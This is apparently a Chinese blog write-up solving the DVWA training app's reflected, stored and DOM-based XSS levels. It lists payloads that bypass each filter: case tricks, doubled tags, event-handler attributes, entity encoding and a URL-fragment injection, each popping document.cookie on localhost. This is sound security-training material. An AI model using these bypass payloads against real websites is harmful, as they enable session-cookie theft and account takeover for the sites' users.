web-xss-dvwa

目录

xss(reflected)

low

medium

high

xss(store)

low

medium

high

xss(dom)

low

medium

high


xss(reflected)

low

没有什么过滤,直接用最普通的标签就可以了

复制代码
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E#

medium

大小写绕过

复制代码
?name=<SCript>alert(document.cookie)<%2FSCript>

双写绕过

复制代码
?name=<sc<script>ript>alert(document.cookie)<%2Fscript>

high

过滤规则:

name = preg_replace( '/\<(.*)s(.* )c(.*)r(.* )i(.*)p(.*)t/i', '', _GET[ 'name' ] ); 对任何模式的script都过滤了。

①换标签进行过滤

知识点:

autofocus 属性是一个 boolean(布尔) 属性。

autofocus 属性规定当页面加载时按钮应当自动地获得焦点。

payload:

复制代码
?name=<a href="x" onfocus="alert(document.cookie)"; autofocus="">xss</a>

②进行html编码

复制代码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;">test</a>

gpt直接转就可以了

xss(store)

low

直接再内容框中输入基本的xss语言就可以了

复制代码
<script>alert(document.cookie)</script>

medium

先修改name的长度,让其写的下xss语句。再medium难度中,只能将代码写在name,写在内容里面是实现不了的

大小写绕过

复制代码
<SCript>alert(document.cookie)</SCript>

双写绕过

复制代码
<scr<script>ipt>alert(document.cookie)</script>

high

先修改name的长度,让其写的下xss语句。再high难度中,只能将代码写在name,写在内容里面是实现不了的

high难度要换标签才能实现,script完全被过滤掉了

复制代码
<a href="x" onclick=alert(document.cookie)>xss</a>

<img src="x" onclick=alert(document.cookie)>

xss(dom)

low

直接写上最普通的xss语句就可以了

复制代码
?default=<script>alert(document.cookie)</scrip

medium

select标签中只允许内嵌option标签,a、img标签嵌套再option标签中是无法实现器作用的。所以要先闭合option标签,然后再闭合select标签,这样子就可以了

复制代码
?default="></option></select><a href="x" onclick=alert(1)>xss</a>

high

源代码

这里采用了白名单过滤的方法,只允许default值为 French English German Spanish 其中一个。

代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行

php 复制代码
<?php
 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
 
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
 
?> 

payload:

复制代码
?default=English#<script>alert(document.cookie)</script>
相关推荐
逍遥德5 分钟前
CSS display有几种属性值
前端·css·css3
Ares-Wang11 分钟前
net Core》》包与库 LibMan、NPM
前端·npm·node.js
charlee4421 分钟前
实现一个前端动态模块组件(Vite+原生JS)
前端·javascript·html·vite
繁依Fanyi33 分钟前
用 UniApp 开发 TilePuzzle:一个由 CodeBuddy 主动驱动的拼图小游戏
前端·uni-app·编辑器·codebuddy首席试玩官
繁依Fanyi36 分钟前
用 CodeBuddy 搭建「MiniGoal 小目标打卡器」:一次流畅的 UniApp 开发体验
前端·游戏·uni-app·codebuddy首席试玩官
橙子家2 小时前
简单介绍下 Vue 2.x 中的几种生命周期钩子(Lifecycle Hooks)
前端
优雅的落幕2 小时前
从零开始的抽奖系统创作(2)
java·服务器·前端
BillKu2 小时前
Vue3 scoped样式使用通配符 * 的影响分析
前端·javascript·vue.js
liangshanbo12153 小时前
CSS attr() 函数详解
前端·css
sunbyte4 小时前
50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | Hidden Search Widget (交互式搜索框)
前端·javascript·vue.js·ecmascript·tailwindcss